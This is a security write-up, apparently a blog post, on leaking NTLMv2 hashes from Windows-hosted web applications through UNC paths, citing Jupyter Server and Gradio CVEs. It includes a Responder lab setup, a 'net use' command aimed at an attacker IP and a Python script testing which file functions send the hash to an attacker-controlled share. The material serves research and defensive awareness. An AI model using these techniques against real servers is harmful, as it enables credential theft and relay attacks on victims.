💦

NTLMv2 leaking in Web Applications

Overview

If you haven’t heard of NTLM Relay Attacks, it’s when a server/application is manipulated to send an NTLMv2 hash to an attacker server, and the hash can then either be cracked or relayed to another server for authentication typically by using Responder
If you have access to the machine, you can do something as simple as net use \\192.169.10.129 , and this will initiate a connection to the attacker server and send its NTLMv2 hash over.
Another way to get a server to send the NTLMv2 hash over to the attacker server if you don’t have access to the machine is to do it over web applications but leveraging functions that causes the server to resolve a UNC path.
If an application has features to open a remote file either implicitly or explicitly, and if it’s fed in a UNC path (e.g. \\192.168.112.32\), the server will try to resolve the UNC path. If the target server requires authentication, then the victim server would attempt to authenticate by sending over the NTLMv2 hash of the account running the application, and now the malicious server has access to the NTLMv2 hash.
Here are some CVEs that are related to NTLM Leaking in Web Applications

CVEs

CVE-2024-35178 (Jupyter Server)

If we analyze the patch at this line
We see that calling Python functions is_file() or isfile implicitly tries to opens the file path, and when a UNC string is passed in, the server would try to resolve it and leaks the NTLM hash to the remote server.

CVE-2024-34510 (Gradio)

Offending line:
Similar to the CVE above, but this time it calls is_dir() on the path, which again triggers the server to resolve the UNC path and leak the hash.

Testing it with Python functions

The conditions for this exploit are:
  1. The application runs on Windows
  1. The application uses a function that implicitly or explicitly tries to open the given string
    1. Implicit example: Checking the existence of the string
    2. Explicit example: SSRF functions to send a HTTP request to the string
  1. The application does not validate the string being passed into the function, and we are able to pass in a UNC string

Setup

Two virtual machines
  • 1 Attacker (Kali)
  • 1 Victim (Windows)
On the Attacker machine, configure Responder to only reply to the Victim machine IP address. We do this to minimize any activity that may be from other services.
/etc/responder/Responder.conf
notion image
Start Responder on the target network interface which is on the same network as the victim machine
notion image

Python

Below are some examples of functions in Python that is vulnerable to this attack. I’ve wrote a simple test script and validated each and everyone of them.
💡
Not exhaustive. There’s obviously many more functions/libraries that could be leveraged.

Script

After starting responder, we run this script and check the results on responder to see if we got the hash.
import os import shutil import subprocess from pathlib import Path import tempfile import urllib.request import requests def test_unc_path(unc_path): # Test open() print(f"Testing open()\n") try: with open(unc_path, 'r') as f: pass except Exception as e: print(f"open(): {e}") input("Press Enter to continue...") # Test exists() print("Testing os.path.exists()\n") try: exists = os.path.exists(unc_path) except Exception as e: print(f"os.path.exists(): {e}") # Test os.listdir() print("Testing os.listdir()\n") try: contents = os.listdir(unc_path) print(f"os.listdir(): {contents}") except Exception as e: print(f"os.listdir(): {e}") input("Press Enter to continue...") # Test os.stat() print("Testing os.stat()\n") try: stats = os.stat(unc_path) print(f"os.stat(): {stats}") except Exception as e: print(f"os.stat(): {e}") input("Press Enter to continue...") # Test shutil.copyfile() print("Testing shutil.copyfile()\n") try: shutil.copyfile(unc_path, 'test_copy.tmp') except Exception as e: print(f"shutil.copyfile(): {e}") input("Press Enter to continue...") # Test shutil.copytree() print("Testing shutil.copytree()\n") try: shutil.copytree(unc_path, 'test_copytree') except Exception as e: print(f"shutil.copytree(): {e}") input("Press Enter to continue...") # Test os.makedirs() print("Testing os.makedirs()\n") try: os.makedirs(os.path.join(unc_path, 'test_dir')) except Exception as e: print(f"os.makedirs(): {e}") input("Press Enter to continue...") # Test Path.exists() print("Testing Path.exists()\n") try: path = Path(unc_path) exists = path.exists() print(f"Path.exists(): {exists}") except Exception as e: print(f"Path.exists(): {e}") input("Press Enter to continue...") # Test Path.is_file() print("Testing Path.is_file()\n") try: is_file = path.is_file() print(f"Path.is_file(): {is_file}") except Exception as e: print(f"Path.is_file(): {e}") input("Press Enter to continue...") # Test Path.is_dir() print("Testing Path.is_dir()\n") try: is_dir = path.is_dir() print(f"Path.is_dir(): {is_dir}") except Exception as e: print(f"Path.is_dir(): {e}") input("Press Enter to continue...") # Test tempfile.TemporaryFile() print("Testing tempfile.TemporaryFile()\n") try: with tempfile.TemporaryFile(dir=unc_path) as tmp: pass except Exception as e: print(f"tempfile.TemporaryFile(): {e}") input("Press Enter to continue...") # Test os.walk() print("Testing os.walk()\n") try: for root, dirs, files in os.walk(unc_path): print(f"os.walk(): root={root}, dirs={dirs}, files={files}") except Exception as e: print(f"os.walk(): {e}") input("Press Enter to continue...") # Test os.startfile() print("Testing os.startfile()\n") try: os.startfile(unc_path) except Exception as e: print(f"os.startfile(): {e}") if __name__ == "__main__": unc_path = "\\\\192.168.208.129\\share" # Replace with the test UNC path test_unc_path(unc_path) input("Done!")
notion image
notion image
Function
Example
open()
with open(unc_path, 'r') as f:
is_file()
var = "\\unc_path"
var.is_file()
is_dir()
var = "\\unc_path"
var.is_dir()
exists()
var = "\\unc_path"
var.exists()
os.path.exists
os.path.exists(unc_path)
os.path.isfile()
os.path.isfile(unc_path)
os.path.isdir()
os.path.isdir(unc_path)
os.listdir()
os.listdir(unc_path)
os.stat()
os.stat(unc_path)
os.makedirs()
os.makedirs(unc_path)
os.startfile()
os.startfile(unc_path)
os.walk()
for root, dirs, files in os.walk(unc_path):
shutil.copyfile()
shutil.copyfile(unc_path, 'test_copy.tmp')
shutil.copytree()
shutil.copytree(unc_path, 'test_copytree')
tempfile.TemporaryFile()
with tempfile.TemporaryFile(dir=unc_path) as tmp:
The same exercise can be done with other common languages used for web applications, such as PHP or ASP.
Â